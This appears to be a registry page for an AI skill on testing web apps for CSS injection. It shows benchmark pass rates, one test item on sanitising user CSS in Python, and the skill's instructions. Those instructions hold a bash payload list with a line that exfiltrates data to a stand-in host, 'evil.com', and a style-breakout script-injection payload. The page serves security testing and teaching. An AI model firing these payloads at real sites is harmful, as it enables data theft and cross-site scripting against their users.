Loading skill
Install any skill in seconds. Free to start, no credit card required.
Get Started Free →cyberstrikeus/wstg-clnt-05
Testing for CSS Injection
Passed 15 of 21 test cases with the skill, and 13 of 21 without it.
2 fixed14 passed either way6 still failing0 broke
Tokens, turns and time describe resource use, not a dollar price.
One of 2 test cases the skill fixed. Same model, same prompt, with and without the skill.
A developer wants to sanitize user-provided CSS properties by stripping script tags using a naive blocklist. What robust defensive strategy should be implemented in Python instead?
| Checked | Without skill | With skill |
|---|---|---|
| Implements a strict property allowlist matching values against regular expressions. | Passed | Passed |
| Returns an empty string when user input fails property pattern validation. | Missed | Passed |
The instructions your model reads when the skill loads.
WSTG-CLNT-05
Testing for CSS Injection
CSS injection allows attackers to inject malicious CSS into web pages. While typically less severe than XSS, it can be used for data exfiltration (via attribute selectors), UI redressing, content spoofing, and in some cases, JavaScript execution in older browsers.
#!/bin/bash
TARGET="https://target.com"
payloads=(
"color:red"
"background:url(https://evil.com/log?data=stolen)"
"position:fixed;top:0;left:0;width:100%;height:100%;background:red"
"}</style><script>alert(1)</script><style>"
)
test cases passed, vs 13 / 21 without
More skills from the same source and nearby in the registry, with their headline benchmark lift.